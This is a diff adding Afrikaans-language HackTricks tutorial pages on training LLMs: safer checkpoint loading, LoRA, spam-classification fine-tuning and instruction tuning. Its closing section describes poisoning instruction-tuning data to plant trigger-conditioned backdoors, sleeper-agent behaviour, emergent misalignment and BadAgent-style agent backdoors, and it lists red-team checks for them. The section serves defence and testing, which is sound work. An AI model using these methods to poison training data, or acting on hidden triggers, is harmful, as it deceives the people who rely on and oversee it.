+model.load_state_dict(torch.load("model.pth", map_location=device, weights_only=True))
+
+model.eval() # Put in eval mode
+```
+### Praktiese moderne verbeterings vir training
+
+Die vorige loop is voldoende om die meganika te verstaan, maar moderne pre-training voeg gewoonlik verskeie optimisasies by om throughput en stabiliteit te verbeter:
+
+- **Mixed precision (`bfloat16` / `float16`)** om geheuegebruik te verminder en matrixvermenigvuldiging te versnel. In die praktyk word `bfloat16` gewoonlik op onlangse NVIDIA-datasentrum-GPU's verkies omdat dit 'n wyer eksponentreeks behou en gewoonlik nie gradient scaling benodig nie, terwyl `float16` gewoonlik 'n `GradScaler` gebruik.
+- **Gradient accumulation** om 'n groter globale batch size te simuleer wanneer die volledige batch nie in VRAM pas nie.
+- **Gradient clipping** (byvoorbeeld `clip_grad_norm_`) om exploding updates te voorkom, veral vroeg tydens training.
+- **Activation checkpointing** om ekstra berekening te verruil vir aansienlik laer geheuegebruik deur 'n deel van die forward pass tydens backpropagation te herbereken.
+- **Fused / memory-efficient attention** (`scaled_dot_product_attention`) om die koste van attention vir langer context windows te verminder.
+- **Sharded training/checkpointing** (byvoorbeeld FSDP / distributed checkpoints) sodra die model of optimizer states nie meer op 'n enkele GPU pas nie.
+
+'n Minimale voorbeeld wat sommige van hierdie idees in PyTorch kombineer, lyk soos volg:
+```python
+accum_steps = 8
+scaler = torch.amp.GradScaler("cuda")
+optimizer.zero_grad(set_to_none=True)
+
+for step, (input_batch, target_batch) in enumerate(train_loader, start=1):
+with torch.autocast(device_type="cuda", dtype=torch.float16):
+loss = calc_loss_batch(input_batch, target_batch, model, device)
+loss = loss / accum_steps
+
+scaler.scale(loss).backward()
+
+if step % accum_steps == 0:
+scaler.unscale_(optimizer)
+torch.nn.utils.clip_grad_norm_(model.parameters(), max_norm=1.0)
+scaler.step(optimizer)
+scaler.update()
+optimizer.zero_grad(set_to_none=True)
+```
+> [!WARNING]
+> Wanneer jy vanaf checkpoints of third-party repositories pre-train, behandel die **loading path as part of the attack surface**. Verkies om `state_dict`s of `safetensors`-lêers te laai in plaas van volledige gepicklede Python-objekte, hou `trust_remote_code=False` tensy jy die repository geoudit het, en kyk na [../AI-Models-RCE.md](../AI-Models-RCE.md) vir voorbeelde van model-loading RCE.
+
+### Veiliger en meer geheuedoeltreffende checkpoint-laai
+
+Vir groot checkpoints kan die naïewe `torch.load(...)` + `load_state_dict(...)`-volgorde geheue tydelik dupliseer (geïnitialiseerde parameters + gelaaide gewigte). Nuwer PyTorch-weergawes het sommige baie nuttige instellings bygevoeg. Vanaf PyTorch 2.6 is `weights_only=True` die verstek vir `torch.load()` wanneer geen pasgemaakte pickle-module deurgegee word nie, maar dit is steeds ’n goeie idee om dit eksplisiet in voorbeelde te spesifiseer[[1]](#references) :
+
+- `weights_only=True`: beperk deserialisering tot tensors / primitiewe objekte in plaas van arbitrêre gepicklede Python-objekte.
+- `mmap=True`: memory-map tensor-storages vanaf skyf in plaas daarvan om alles gretig in RAM te lees.
+- `with torch.device("meta"):`: skep die module eers met leë tensors.
+- `load_state_dict(..., assign=True)`: ken die gelaaide tensors direk aan die meta-geïnitialiseerde module toe.
+```python
+state_dict = torch.load(
+"model.pth",
+map_location="cpu",
+weights_only=True,
+mmap=True,
+)
+
+with torch.device("meta"):
+model = GPTModel(GPT_CONFIG_124M)
+
+model.load_state_dict(state_dict, assign=True)
+model.to(device)
+model.eval()
+```
+Dit is veral nuttig wanneer multi-GB-checkpoints op ’n werkstasie gelaai word, omdat dit RAM-pieke tydens opstart verminder.
+
+## Laai GPT2-gewigte
+
+Daar is 2 vinnige scripts om die GPT2-gewigte plaaslik te laai. Vir albei kan jy die repository [https://github.com/rasbt/LLMs-from-scratch](https://github.com/rasbt/LLMs-from-scratch) plaaslik cloneer, en dan:
+
+- Die script [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/gpt_generate.py](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/gpt_generate.py) sal al die gewigte aflaai en die formate van OpenAI omskakel na dié wat deur ons LLM verwag word. Die script is ook voorberei met die nodige konfigurasie en met die prompt: "Every effort moves you"
+- Die script [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/02_alternative_weight_loading/weight-loading-hf-transformers.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/02_alternative_weight_loading/weight-loading-hf-transformers.ipynb) laat jou toe om enige van die GPT2-gewigte plaaslik te laai (verander net die `CHOOSE_MODEL`-var) en teks uit sommige prompts te voorspel.
+
+As jy, in plaas van GPT-2, ’n meer moderne open-source checkpoint van Hugging Face wil laai, is die gewone patroon om `transformers` die model outomaties te laat plaas en `safetensors`-gewigte te verkies wanneer dit beskikbaar is[[2]](#references) :
+```python
+from transformers import AutoModelForCausalLM, AutoTokenizer
+import torch
+
+model_id = "google/gemma-7b"
+
+tokenizer = AutoTokenizer.from_pretrained(model_id)
+model = AutoModelForCausalLM.from_pretrained(
+model_id,
+torch_dtype=torch.bfloat16,
+device_map="auto",
+low_cpu_mem_usage=True,
+trust_remote_code=False,
+)
+```
+`device_map="auto"` is baie handig wanneer die volledige checkpoint nie op een accelerator pas nie, omdat die loader lae oor GPU / CPU-geheue kan versprei. Vir groot repositories genereer `save_pretrained(..., max_shard_size="5GB")` of die ekwivalente Hub-checkpoints **sharded checkpoints** plus ’n indeks, waardeur hulle inkrementeel gelaai kan word in plaas daarvan om een groot lêer in RAM te vereis[[2]](#references) .
+
+As jy tensors moet inspekteer of sny sonder om die hele lêer te laai, ondersteun `safetensors` ook gedeeltelike leesbewerkings[[3]](#references) :
+```python
+from safetensors import safe_open
+
+with safe_open("model.safetensors", framework="pt", device="cpu") as f:
+emb_slice = f.get_slice("model.embed_tokens.weight")
+vocab_size, hidden_dim = emb_slice.get_shape()
+first_half = emb_slice[:, : hidden_dim // 2]
+```
+## Verwysings
+
+- [1] [PyTorch Serialization semantics (weights_only, mmap)](https://docs.pytorch.org/docs/stable/notes/serialization.html)
+- [2] [Hugging Face Transformers - Handling big models](https://huggingface.co/docs/transformers/main/big_models)
+- [3] [Safetensors documentation](https://huggingface.co/docs/safetensors/index)
+
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md b/src/AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md
new file mode 100644
index 00000000000..06328387385
--- /dev/null
+++ b/src/AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md
@@ -0,0 +1,67 @@
+# 7.0. LoRA-verbeterings in fine-tuning
+
+{{#include ../../banners/hacktricks-training.md}}
+
+## LoRA-verbeterings
+
+> [!TIP]
+> LoRA kan die aantal trainbare parameters en die optimizer-geheue wat nodig is om ’n voorafopgeleide model te fine-tune, aansienlik verminder.
+
+LoRA maak dit moontlik om **groot modelle** doeltreffend te fine-tune deur slegs ’n **klein deel** van die model te verander. Dit verminder die aantal parameters wat jy moet train, en bespaar **geheue** en **berekeningshulpbronne**. Dit is omdat:[[1]](#references)
+
+1. **Verminder die aantal trainbare parameters**: LoRA vries die oorspronklike gewig `W` en stel ’n additiewe opdatering voor as die produk van twee trainbare lae-rang-matrikse, algemeen aangedui as `ΔW = B A`, met rang `r` wat baie kleiner as die inset-/uitsetdimensies is.[[3]](#references)
+
+1. Dit is omdat dit, in plaas daarvan om die volledige gewigopdatering van ’n laag (matriks) te bereken, dit benader as die produk van 2 kleiner matrikse, wat die opdatering wat bereken moet word, verminder:\
+
+
+
+2. **Hou die oorspronklike modelgewigte onveranderd**: Slegs die adaptermatrikse word geoptimaliseer. Deur gewigte te vries, word direkte wysiging van die basis-checkpoint voorkom, hoewel adaptergedrag steeds kennis tydens inference kan oorskryf of verswak.
+3. **Doeltreffende taakspesifieke fine-tuning**: Wanneer jy die model by ’n **nuwe taak** wil aanpas, kan jy slegs die **klein LoRA-matrikse** (A en B) train terwyl die res van die model bly soos dit is. Dit is **baie doeltreffender** as om die hele model oor te train.
+4. **Bergingsdoeltreffendheid**: Ná fine-tuning hoef jy, in plaas daarvan om ’n **hele nuwe model** vir elke taak te stoor, slegs die **LoRA-matrikse** te stoor, wat baie klein is in vergelyking met die hele model. Dit maak dit makliker om die model by baie take aan te pas sonder om te veel berging te gebruik.
+
+Die volgende minimale implementering pas die aangehaalde notebook aan. Dit inisialiseer `B` na nul sodat die adapter as ’n no-op begin, en gebruik die standaard `alpha / rank`-skalering van LoRA. Die kode stoor die faktore in inset-dominante vorms (`A` is `in_dim x rank` en `B` is `rank x out_dim`), dus word sy forward-pad as `xAB` geskryf; dit is die ekwivalent met getransponeerde vorms van die paper se `BA`-notasie.[[2]](#references)[[3]](#references)
+```python
+import math
+import torch
+
+# Create the LoRA layer with the 2 matrices and the alpha
+class LoRALayer(torch.nn.Module):
+def __init__(self, in_dim, out_dim, rank, alpha):
+super().__init__()
+self.A = torch.nn.Parameter(torch.empty(in_dim, rank))
+torch.nn.init.kaiming_uniform_(self.A, a=math.sqrt(5)) # similar to standard weight initialization
+self.B = torch.nn.Parameter(torch.zeros(rank, out_dim))
+self.scaling = alpha / rank
+
+def forward(self, x):
+x = self.scaling * (x @ self.A @ self.B)
+return x
+
+# Combine it with the linear layer
+class LinearWithLoRA(torch.nn.Module):
+def __init__(self, linear, rank, alpha):
+super().__init__()
+self.linear = linear
+self.lora = LoRALayer(
+linear.in_features, linear.out_features, rank, alpha
+)
+
+def forward(self, x):
+return self.linear(x) + self.lora(x)
+
+# Replace linear layers with LoRA ones
+def replace_linear_with_lora(model, rank, alpha):
+for name, module in model.named_children():
+if isinstance(module, torch.nn.Linear):
+# Replace the Linear layer with LinearWithLoRA
+setattr(model, name, LinearWithLoRA(module, rank, alpha))
+else:
+# Recursively apply the same function to child modules
+replace_linear_with_lora(module, rank, alpha)
+```
+## References
+
+- [1] [Bou 'n groot taalmodel (van nuuts af) - Manning](https://www.manning.com/books/build-a-large-language-model-from-scratch)
+- [2] [LLM's-van-nuuts-af - Bylae E: Parameterdoeltreffende fyninstelling met LoRA](https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01_main-chapter-code/appendix-E.ipynb)
+- [3] [LoRA: Lae-rang-aanpassing van groot taalmodelle](https://arxiv.org/abs/2106.09685)
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/AI/AI-llm-architecture/7.1.-fine-tuning-for-classification.md b/src/AI/AI-llm-architecture/7.1.-fine-tuning-for-classification.md
new file mode 100644
index 00000000000..c388788f810
--- /dev/null
+++ b/src/AI/AI-llm-architecture/7.1.-fine-tuning-for-classification.md
@@ -0,0 +1,113 @@
+# 7.1. Fine-Tuning vir Klassifikasie
+
+{{#include ../../banners/hacktricks-training.md}}
+
+## Wat is Fine-Tuning?
+
+Fine-tuning is die proses om ’n **vooraf opgeleide model** wat **algemene taalpatrone** uit groot hoeveelhede data geleer het, te neem en dit aan te pas om ’n **spesifieke taak** uit te voer of domeinspesifieke taal te verstaan. Dit word bereik deur die model verder op ’n kleiner, taakspesifieke datastel op te lei, sodat dit sy parameters kan aanpas om beter by die nuanses van die nuwe data te pas, terwyl dit die breë kennis wat dit reeds verwerf het, benut. Fine-tuning stel die model in staat om meer akkurate en relevante resultate in gespesialiseerde toepassings te lewer sonder dat ’n nuwe model van nuuts af opgelei hoef te word.
+
+> [!TIP]
+> Voorafopleiding van ’n LLM is duur, daarom is dit gewoonlik makliker en goedkoper om ’n open-source vooraf opgeleide model vir ’n spesifieke taak te fine-tune.
+
+> [!TIP]
+> Hierdie afdeling wys hoe om ’n vooraf opgeleide model vir klassifikasie te fine-tune. In plaas daarvan om nuwe teks te genereer, gee die model **logits vir die gekonfigureerde kategorieë** terug, soos spam en nie-spam.[[1]](#references)[[2]](#references)
+
+## Voorbereiding van die datastel
+
+### Datastelgrootte
+
+Natuurlik het jy gestruktureerde data nodig om jou LLM te spesialiseer wanneer jy ’n model wil fine-tune. In die voorbeeld wat voorgestel word in [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb), word GPT2 gefine-tune om vas te stel of ’n e-pos spam is of nie, met behulp van die data uit [https://archive.ics.uci.edu/static/public/228/sms+spam+collection.zip](https://archive.ics.uci.edu/static/public/228/sms+spam+collection.zip)_._[[2]](#references)[[3]](#references)
+
+Hierdie datastel bevat baie meer “nie-spam”-voorbeelde as “spam”-voorbeelde. Die uitgewerkte voorbeeld balanseer die klasse deur dieselfde aantal uit elke klas te behou: 747 voorbeelde van elk.[[1]](#references)[[2]](#references)
+
+Die voorbeeld gebruik vervolgens **70%** van die gebalanseerde datastel vir **opleiding**, **10%** vir **validering**, en **20%** vir **toetsing**.[[2]](#references)
+
+- Die **valideringsdatastel** word tydens die opleidingsfase gebruik om die model se **hiperparameters** te fine-tune en besluite oor die modelargitektuur te neem. Dit help effektief om overfitting te voorkom deur terugvoer te gee oor hoe die model op ongesiene data presteer. Dit maak iteratiewe verbeterings moontlik sonder om die finale evaluering te beïnvloed.
+- Dit beteken dat hoewel die data in hierdie datastel nie direk vir opleiding gebruik word nie, dit gebruik word om die beste **hiperparameters** in te stel. Hierdie datastel kan dus nie gebruik word om die model se werkverrigting te evalueer soos die toetsdatastel nie.
+- In teenstelling hiermee word die **toetsdatastel** **slegs nadat** die model volledig opgelei is en alle aanpassings voltooi is, gebruik. Dit verskaf ’n onbevooroordeelde beoordeling van die model se vermoë om na nuwe, ongesiene data te veralgemeen. Hierdie finale evaluering op die toetsdatastel gee ’n realistiese aanduiding van hoe daar verwag word dat die model in werklike toepassings sal presteer.
+
+### Invoerlengte
+
+Aangesien die opleidingsvoorbeeld invoere (in hierdie geval e-posteks) van dieselfde lengte verwag, is daar besluit om elke invoer so groot soos die grootste een te maak deur die ids van `<|endoftext|>` as padding by te voeg.[[2]](#references)
+
+### Inisialiseer die Model
+
+Inisialiseer die model met die open-source vooraf opgeleide gewigte, volgens die verwysde notebook.[[2]](#references)
+
+## Klassifikasiekop
+
+Vir binêre spamklassifikasie het die model nie meer uitvoerlogits van woordeskatgrootte nodig nie. Vervang die finale uitvoerkop met ’n lineêre laag wat twee klaslogits uitstuur: nie-spam (`0`) en spam (`1`).[[2]](#references)
+```python
+# Replace the final layer with a linear layer that has two outputs
+num_classes = 2
+model.out_head = torch.nn.Linear(
+in_features=BASE_CONFIG["emb_dim"],
+out_features=num_classes,
+)
+```
+## Parameters om aan te pas
+
+Om die opleidingskoste in hierdie voorbeeld te verminder, vries die meeste modelparameters en fyntune slegs die laaste transformer-blok, finale normaliseringslaag en nuut geïnisialiseerde output head. Dit hergebruik die algemene representasies wat deur die vroeëre lae aangeleer is en verminder die aantal opleibare parameters aansienlik; die ontvriesing van meer lae kan groter taakaanpassing bied, maar teen ’n hoër berekenings- en oorpassingskoste.[[1]](#references)[[2]](#references)
+```python
+# Freeze all existing model parameters
+for param in model.parameters():
+param.requires_grad = False
+
+# Allow to fine tune the last layer in the transformer block
+for param in model.trf_blocks[-1].parameters():
+param.requires_grad = True
+
+# Allow to fine tune the final layer norm
+for param in model.final_norm.parameters():
+param.requires_grad = True
+```
+## Inskrywings om vir opleiding te gebruik
+
+In vorige afdelings het taalmodel-vooropleiding die verlies van die volgende token oor die hele reeks bereken, sodat die model taalstruktuur kon aanleer.
+
+Vir reeks-klassifikasie gebruik die voorbeeld die modeluitset by die finale invoerposisie as die voorstelling wat deur die classification head gestuur word. Die verlies vergelyk daardie twee klas-logits met die boodskapetiket; dit voorspel nie of die finale token self spam is nie.[[2]](#references)
+
+Dit word geïmplementeer in [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb) as:[[2]](#references)
+```python
+def calc_accuracy_loader(data_loader, model, device, num_batches=None):
+model.eval()
+correct_predictions, num_examples = 0, 0
+
+if num_batches is None:
+num_batches = len(data_loader)
+else:
+num_batches = min(num_batches, len(data_loader))
+for i, (input_batch, target_batch) in enumerate(data_loader):
+if i < num_batches:
+input_batch, target_batch = input_batch.to(device), target_batch.to(device)
+
+with torch.no_grad():
+logits = model(input_batch)[:, -1, :] # Logits of last output token
+predicted_labels = torch.argmax(logits, dim=-1)
+
+num_examples += predicted_labels.shape[0]
+correct_predictions += (predicted_labels == target_batch).sum().item()
+else:
+break
+return correct_predictions / num_examples
+
+
+def calc_loss_batch(input_batch, target_batch, model, device):
+input_batch, target_batch = input_batch.to(device), target_batch.to(device)
+logits = model(input_batch)[:, -1, :] # Logits of last output token
+loss = torch.nn.functional.cross_entropy(logits, target_batch)
+return loss
+```
+Vir elke batch word slegs die **class logits by die finale invoerposisie** gebruik.
+
+## Volledige GPT2 fine-tune-klassifikasiekode
+
+Jy kan al die kode om GPT2 te fine-tune om ’n spam-klassifiseerder te wees, vind by [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/load-finetuned-model.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/load-finetuned-model.ipynb)[[4]](#references)
+
+## References
+
+- [1] [Bou ’n groot taalmodel (van nuuts af) - Manning](https://www.manning.com/books/build-a-large-language-model-from-scratch)
+- [2] [LLMs-from-scratch - ch06: Fine-tuning vir klassifikasie](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb)
+- [3] [UCI Machine Learning Repository - SMS Spam-versameling](https://archive.ics.uci.edu/static/public/228/sms+spam+collection.zip)
+- [4] [LLMs-from-scratch - ch06: Laai ’n fine-tuned spam-klassifikasiemodel](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/load-finetuned-model.ipynb)
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/AI/AI-llm-architecture/7.2.-fine-tuning-to-follow-instructions.md b/src/AI/AI-llm-architecture/7.2.-fine-tuning-to-follow-instructions.md
new file mode 100644
index 00000000000..8d676b87b98
--- /dev/null
+++ b/src/AI/AI-llm-architecture/7.2.-fine-tuning-to-follow-instructions.md
@@ -0,0 +1,181 @@
+# 7.2. Fine-Tuning om instruksies te volg
+
+{{#include ../../banners/hacktricks-training.md}}
+
+> [!TIP]
+> Die doel van hierdie afdeling is om te wys hoe om ’n reeds vooraf-opgeleide model te **fine-tune om instruksies te volg** eerder as om slegs teks te genereer, byvoorbeeld om op take as ’n chat bot te reageer.
+
+## Dataset
+
+Om ’n LLM te fine-tune om instruksies te volg, is dit nodig om ’n dataset met **instruksies en response** te hê. Daar is verskillende prompt-formate om ’n LLM op te lei om instruksies te volg, byvoorbeeld:[[1]](#references)
+
+- Die Alpaca prompt-stylvoorbeeld:
+```csharp
+Below is an instruction that describes a task. Write a response that appropriately completes the request.
+
+### Instruction:
+Calculate the area of a circle with a radius of 5 units.
+
+### Response:
+The area of a circle is calculated using the formula \( A = \pi r^2 \). Plugging in the radius of 5 units:
+
+\( A = \pi (5)^2 = \pi \times 25 = 25\pi \) square units.
+```
+- Phi-3 / chat template-stylvoorbeeld:
+```vbnet
+<|User|>
+Can you explain what gravity is in simple terms?
+
+<|Assistant|>
+Absolutely! Gravity is a force that pulls objects toward each other.
+```
+Opleiding met hierdie soort datasets in plaas van net rou teks help die model verstaan dat dit take in ’n **gestruktureerde assistentformaat** moet beantwoord.
+
+’n Baie algemene fout is om op een template te oefen en met ’n ander een inferensie uit te voer. Moderne instruct-modellen verwag gewoonlik die **native chat template van die basismodel** (`<|user|>`, `<|assistant|>`, `[INST]`, ChatML, ens.), dus word dit aanbeveel om die dataset na die presiese formaat wat die teikenmodel reeds gebruik, om te skakel.
+
+Daarom is een van die eerste dinge om met ’n dataset wat versoeke en antwoorde bevat, te doen om daardie data in die verlangde prompt-formaat te modelleer, soos:[[2]](#references)
+```python
+# Code from https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01_main-chapter-code/ch07.ipynb
+def format_input(entry):
+instruction_text = (
+f"Below is an instruction that describes a task. "
+f"Write a response that appropriately completes the request."
+f"\n\n### Instruction:\n{entry['instruction']}"
+)
+
+input_text = f"\n\n### Input:\n{entry['input']}" if entry["input"] else ""
+
+return instruction_text + input_text
+
+model_input = format_input(data[50])
+
+desired_response = f"\n\n### Response:\n{data[50]['output']}"
+
+print(model_input + desired_response)
+```
+As die basismodel reeds met ’n tokenizer chat template gelewer word, kan dit veiliger wees om die dataset uit boodskaplyste te bou in plaas daarvan om skeidingstekens handmatig te skep:
+```python
+messages = [
+{"role": "user", "content": entry["instruction"]},
+{"role": "assistant", "content": entry["output"]},
+]
+text = tokenizer.apply_chat_template(messages, tokenize=False)
+```
+Dan, soos altyd, moet die dataset in training-, validation- en testing-stelle verdeel word.
+
+## Batching & Data Loaders
+
+Daarna moet al die inputs en verwagte outputs vir die training gebatch word. Hiervoor moet die volgende gedoen word:
+
+- Tokenizeer die tekste.
+- Pad al die samples tot dieselfde lengte (gewoonlik sal die lengte so groot wees soos die context length wat gebruik is om die LLM te pre-train).
+- Skep die verwagte tokens deur die input met 1 te verskuif in ’n custom collate function.
+- Vervang sommige padding tokens met `-100` om hulle van die training loss uit te sluit: vervang ná die eerste `endoftext` token al die ander `endoftext` tokens met `-100` (want die gebruik van `cross_entropy(..., ignore_index=-100)` beteken dat dit targets met `-100` sal ignoreer).
+- \[Optional] Masker ook al die tokens wat aan die vraag behoort met `-100`, sodat die LLM slegs leer hoe om die antwoord te genereer. In die Alpaca-styl beteken dit gewoonlik dat alles tot by `### Response:` gemasker word.
+- **Moderne SFT best practice:** indien die dataset conversational is, bereken die loss slegs op die **assistant completion tokens** en nie op die user/system prompt nie. Dit voorkom dat die model leer om die prompt-teks self te voorspel.[[3]](#references)
+- **Throughput optimization:** wanneer die dataset baie kort samples bevat, is dit algemeen om **verskeie voorbeelde in dieselfde sequence te pak** om minder van die context window te mors.[[3]](#references)
+
+Noudat dit geskep is, is dit tyd om die data loaders vir elke dataset (training, validation en test) te skep.
+
+## Laai pre-trained LLM & Fine tune & Loss Checking
+
+’n Pre-trained LLM moet gelaai word om dit te fine-tune. Dit is reeds op ander bladsye bespreek. Daarna is dit moontlik om die voorheen gebruikte training function te gebruik om die LLM te fine-tune.
+
+Tydens die training is dit ook moontlik om te sien hoe die training loss en validation loss gedurende die epochs verander, om te bepaal of die loss verminder en of overfitting plaasvind.\
+Onthou dat overfitting plaasvind wanneer die training loss verminder, maar die validation loss nie verminder nie of selfs toeneem. Om dit te voorkom, is die eenvoudigste oplossing om die training te stop by die epoch waar hierdie gedrag begin.
+
+Indien GPU-geheue ’n beperking is, kyk na [7.0. LoRA Improvements in fine-tuning](7.0.-lora-improvements-in-fine-tuning.md), want in die praktyk word die meeste instruction-tuning jobs met **LoRA/QLoRA/PEFT adapters** gedoen in plaas daarvan om elke parameter van die base model op te dateer.
+
+## Moderne post-training-variante
+
+Die klassieke benadering is **supervised fine-tuning (SFT)** oor `(instruction, answer)`-pare. Huidige instruct-model pipelines verdeel post-training egter dikwels in verskeie fases:
+
+1. **SFT** om die output-formaat, antwoordstyl en taakverdeling aan te leer.
+2. **Preference optimization** om die model een antwoord bo ’n ander te laat verkies sonder dat ’n aparte reward model nodig is.
+3. **Optional** online optimization soos RLHF / PPO vir spesifieke produkte of safety-doelwitte.
+
+Die algemeenste preference-gebaseerde alternatiewe ná SFT is:
+
+- **DPO (Direct Preference Optimization):** optimaliseer preferred teenoor rejected answers direk.
+- **ORPO / KTO / SimPO:** eenvoudiger variante wat sommige van die engineering-overhead van volledige RLHF-pipelines verminder.
+
+In die praktyk gebruik hierdie metodes gewoonlik óf **chosen/rejected response pairs** vir dieselfde prompt óf ’n eenvoudiger **desirable / undesirable**-sein. Daarom word die gehalte van die preference dataset net so belangrik soos die SFT-corpus self.
+
+Dit is nuttig omdat die duur deel van baie projekte nie is om die model die formaat aan te leer nie, maar om dit te leer om **die antwoordstyl te verkies wat mense wil hê**. Indien jy meer besonderhede oor die RL-kant en reward-model poisoning wil hê, kyk na [../AI-Reinforcement-Learning-Algorithms.md](../AI-Reinforcement-Learning-Algorithms.md).
+
+## Response Quality
+
+Omdat dit nie ’n classification fine-tune is waar die loss-veranderings meer vertrou kan word nie, is dit ook belangrik om die gehalte van die responses in die testing set na te gaan. Daarom word dit aanbeveel om die gegenereerde responses van al die testing sets te versamel en **hulle gehalte handmatig na te gaan** om te sien of daar verkeerde antwoorde is (let daarop dat dit vir die LLM moontlik is om die formaat en sintaksis van die response sentence korrek te genereer, maar ’n heeltemal verkeerde antwoord te gee. Die loss-verandering sal nie hierdie gedrag weerspieël nie).\
+Let daarop dat hierdie review ook gedoen kan word deur die gegenereerde responses en die verwagte responses aan **ander LLMs deur te gee en hulle te vra om die responses te evalueer**.
+
+Moderne evaluations vir instruction-following wat prioriteit behoort te kry, is:
+
+- **IFEval:** kontroleer of die model werklik eksplisiete beperkings uit die prompt volg, eerder as om bloot goed te klink.
+- **AlpacaEval 2 / pairwise judges:** nuttig om generations met ’n baseline model te vergelyk.
+- **Arena-style head-to-head evals:** nuttig wanneer die relatiewe rangorde van verskeie checkpoints en prompts benodig word.
+
+Ander tests om uit te voer om die gehalte van die responses te verifieer:
+
+1. **Measuring Massive Multitask Language Understanding (**[**MMLU**](https://arxiv.org/abs/2009.03300)**):** MMLU evalueer ’n model se kennis en probleemoplossingsvermoë oor 57 vakgebiede, insluitend geesteswetenskappe, wetenskappe en meer. Dit gebruik meerkeusevrae om begrip op verskillende moeilikheidsvlakke te assesseer, van elementêr tot gevorderd professioneel.
+2. [**LMSYS Chatbot Arena**](https://arena.lmsys.org): Hierdie platform stel gebruikers in staat om responses van verskillende chatbots langs mekaar te vergelyk. Gebruikers voer ’n prompt in, waarna verskeie chatbots responses genereer wat direk vergelyk kan word.
+3. [**AlpacaEval**](https://github.com/tatsu-lab/alpaca_eval)**:** AlpacaEval is ’n automated evaluation framework waar ’n gevorderde LLM soos GPT-4 die responses van ander models op verskeie prompts assesseer.
+4. **General Language Understanding Evaluation (**[**GLUE**](https://gluebenchmark.com/)**):** GLUE is ’n versameling van nege natural language understanding-take, insluitend sentiment analysis, textual entailment en question answering.
+5. [**SuperGLUE**](https://super.gluebenchmark.com/)**:** SuperGLUE bou voort op GLUE en sluit meer uitdagende take in wat vir huidige models moeilik ontwerp is.
+6. **Beyond the Imitation Game Benchmark (**[**BIG-bench**](https://github.com/google/BIG-bench)**):** BIG-bench is ’n grootskaalse benchmark met meer as 200 take wat ’n model se vermoëns toets in gebiede soos reasoning, translation en question answering.
+7. **Holistic Evaluation of Language Models (**[**HELM**](https://crfm.stanford.edu/helm/lite/latest/)**):** HELM bied ’n omvattende evaluation oor verskeie metrics soos accuracy, robustness en fairness.
+8. [**OpenAI Evals**](https://github.com/openai/evals)**:** ’n Open-source evaluation framework deur OpenAI waarmee AI-models op custom en gestandaardiseerde take getoets kan word.
+9. [**HumanEval**](https://github.com/openai/human-eval)**:** ’n Versameling programming problems wat gebruik word om die code-generation-vermoëns van language models te evalueer.
+10. **Stanford Question Answering Dataset (**[**SQuAD**](https://rajpurkar.github.io/SQuAD-explorer/)**):** SQuAD bestaan uit vrae oor Wikipedia-artikels, waar models die teks moet verstaan om akkuraat te antwoord.
+11. [**TriviaQA**](https://nlp.cs.washington.edu/triviaqa/)**:** ’n Grootskaalse dataset van trivia-vrae en -antwoorde, saam met bewysdokumente.
+
+en nog baie, baie meer.
+
+## Security notes for instruction tuning
+
+Instruction-tuning datasets is ook ’n attack surface. Indien ’n attacker ’n klein aantal poisoned samples in die SFT-corpus kan invoeg, kan die model ’n **trigger-conditioned behaviour** aanleer terwyl dit steeds normaal op clean prompts lyk. Die poison hoef nie noodwendig labels of normale input instances te korrupteer nie: malicious task instructions van altesaam ongeveer 1 000 tokens was genoeg in een studie, en die aangeleerde gedrag is na unseen generation tasks oorgedra en het daaropvolgende clean fine-tuning weerstaan.[[4]](#references)
+
+Tipiese malicious patterns om tydens red teaming te toets, is:
+
+- **Instruction-only backdoors:** poison die task description terwyl gewone instances en labels onveranderd gelaat word. Die malicious instruction kan na ander datasets oorgedra word, en ’n model wat op een task gepoison is, kan die gedrag na unseen generation tasks oordra; toets daarom geparafraseerde instructions en verskillende target tasks in plaas daarvan om slegs die presiese poisoned prompt weer te speel.[[4]](#references)
+- **Sleeper-agent behaviour:** die model tree korrek op tydens normale evaluations, maar verander slegs sy gedrag wanneer ’n baie spesifieke trigger verskyn.[[5]](#references)
+- **Narrow-domain emergent misalignment:** fine-tuning van ’n model om insecure code stilweg terug te gee, het deceptive en harmful behaviour op onverwante, non-coding prompts veroorsaak. In dieselfde studie het die vermelding van ’n benign security-education-rede in die training requests die waargenome breë effek voorkom, terwyl ’n backdoored variant die misalignment beperk het tot requests wat sy trigger bevat het.[[7]](#references)
+- **Agent/action backdoors:** voeg die trigger by die user instruction (**active**) of ’n environment observation (**passive**) en plaas die attacker-chosen tool operation in die training response. BadAgent het dit met AdaLoRA en QLoRA gereproduseer; die gevolglike gedrag kon deur latere fine-tuning op trusted agent data voortduur.[[8]](#references) Runtime prompt injection en tool-metadata poisoning is verskillende probleme wat in [AI MCP Servers](../AI-MCP-Servers.md) gedek word.
+
+Praktiese checks:
+
+- Hou ’n **canary set** en meet beide **clean utility** en **attack success rate (ASR)** op elke checkpoint. Mutateer elke canary oor token position, casing, whitespace/Unicode normalization, partial phrases, paraphrases en semantic equivalents; plaas dit vir agents ook in tool results en environment state, benewens user text.
